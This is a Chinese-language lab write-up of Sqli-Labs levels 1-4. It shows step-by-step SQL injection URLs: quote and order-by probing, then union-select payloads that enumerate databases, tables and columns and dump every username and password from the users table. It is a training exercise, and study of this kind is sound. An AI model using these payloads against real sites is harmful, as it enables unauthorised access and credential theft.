Sqli-Labs less1-4
首先,记录一下基础知识,可能不全:
几个常用的函数:
1.version() --Mysql版本
2.user() --数据库用户名
3.database() --数据库名
4.@@datadir --数据库安装路径
5.@@version_compile_os --操作系统的版本
常用的语句(重要):
1.查库:select schema_name from information_schema.schemata
2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
3.查列:select column_name from information_schema.columns where table_name='users'
4.查字段:select username,password from security.users
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字符。
注释符:# --+ --空
less-1
开始之前,为了方便笔记,我在网页源码的数据库部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符

输入?id=1',出现报错:http://192.168.5.100/sqli-labs/Less-1/?id=1'

输入?id=1,正常,说明存在字符型注入。http://192.168.5.100/sqli-labs/Less-1/?id=1

接下来爆库,爆表,爆列,查询;
用order by语句去猜列数,以下用二分法查到列数为三:http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 8 --+

http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 4 --+

http://192.168.5.100/sqli-labs/Less-1/?id=1' order by 3 --+

用union select 联合查询去回显数据:
这里正确的查询是图2,如果按照图1查询,因为limit0.1的限制,只能输出1个,所以输入id=-1或者0让他只能查询到第二行数据才可以输出。

http://192.168.5.100/sqli-labs/Less-1/?id=1' union select 1,2,3 %23

http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,3 %23

上面的操作结束以后,判断了回显位置,后面就可以利用这两列回显想要的数据
查库名:这里是3作为回显位置,语句意思是从数据库中查询数据库的名字,group concat是合并成一行输出
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23

查表名:我们要用的数据库是security 最后查询得到数据库的表信息。注:这里推荐使用图二的16进制,不用考虑单引号的问题,得到的数据是相同的
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23


查询users表的字段:(这里不知道数据库只有最后三个字段,为啥回显出这么多字段,暂且留一个疑问)

查询字段中的内容:这里推荐使用图三中的语句查询,可以一次性查询多个字段内容,并且中间有分隔符
http://192.168.5.100/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+



less-2
通过输入?id=1,显示正确,可以知道为数字型注入,不用考虑闭合sql语句,比第一关还简单:
以上步骤相同:
最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-2/?id=0 union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

less-3
这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的
通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。

所以以上步骤也是相同:
最后的得到用户名密码:http://192.168.5.100/sqli-labs/Less-3/?id=0') union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+
less-4
同理,我们可以根据输出的sql语句或者观察源代码或者测试得出格式为(”“),所以需要闭合的语句变成了”)
最后得到用户名和密码:http://192.168.5.100/sqli-labs/Less-4/?id=0") union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

以上就是1-4关,总结:
基本步骤:
1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入
2. http://127.0.0.1/sqli/Less-4/?id=1”) order by 3--+查看有多少列
3. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库
4. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
5. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
6. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。
第一关:id=’1‘
第二关:id=1
第三关:id=(’1‘)
第四关:id= (“1”)
只是需要闭合的sql语句不同,其他相同。
Sqli-Labs less1-4的更多相关文章
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- Spring WebFlux快速上手——响应式Spring的道法术器
https://blog.csdn.net/get_set/article/details/79480233
- Python实现 利用朴素贝叶斯模型(NBC)进行问句意图分类
目录 朴素贝叶斯分类(NBC) 程序简介 分类流程 字典(dict)构造:用于jieba分词和槽值替换 数据集构建 代码分析 另外:点击右下角魔法阵上的[显示目录],可以导航~~ 朴素贝叶斯分类(NB ...
- homestead
前言 之前写过一篇文章(https://www.jianshu.com/p/5f30280a3c18),说不需要这玩意儿一样可以开发.是的,但是对于团队来说,使用统一的环境.开发工具.编码规范等,对于 ...
- vue(17)vue-route路由管理的安装与配置
介绍 Vue Router 是 Vue.js官方的路由管理器.它和 Vue.js 的核心深度集成,让构建单页面应用变得易如反掌.包含的功能有: 嵌套的路由/视图表 模块化的.基于组件的路由配置 路由参 ...
- 《快来为你的 .NET 应用加个监控吧!》更新版本啦
目录 导读 三种方式处理监控数据 主动推送 ASP.NET Core 自定义URL .NET diagnostics 自定义监控指标 导读 CZGL.ProcessMetrics 是一个 Metric ...
- gpasswd简单记录
gpasswd [option] GROUP 一切都是为了权限 gpasswd常用参数: -a, --add USER 将user用户加入到组中 -d, --delete USER 将user用户 ...
- C语言:猴子吃桃问题
//猴子吃桃问题:猴子第一天摘下若干个桃子,当即吃了一半,还不过瘾,又多吃了一个. //第二天早上又将第一天剩下的桃子吃掉一半,有多吃了一个.以后每天早上都吃了前一天剩下的一半零一个. //到第 10 ...
- python 实时监控剪切板,并替换其中的部分内容,重新写入剪切板
#实时监控剪贴板内容的变化,并替换其中的回车,换行,逗号,再写入剪切板,以供使用. import pyperclip import time last_string = pyperclip.paste ...
- SLAM的数学基础(1):什么是方差,有什么意义?
小红班上有两组同学的数学考试分数为: 第一组:小红:100分,小明:60分,小宇:20分 第二组:小蓝:70分,小华:60分,小杰:50分 那么很容易算出,第一组的平均分是60分,第二组的平均分也是6 ...
- Guava - 字符串处理
Joiner 连接 比如,有这样一个集合[1,2,3,4,5,7,null],想把这个集合转换成以#分割的字符串,并过滤掉集合中的空元素 List<Integer> eleList = A ...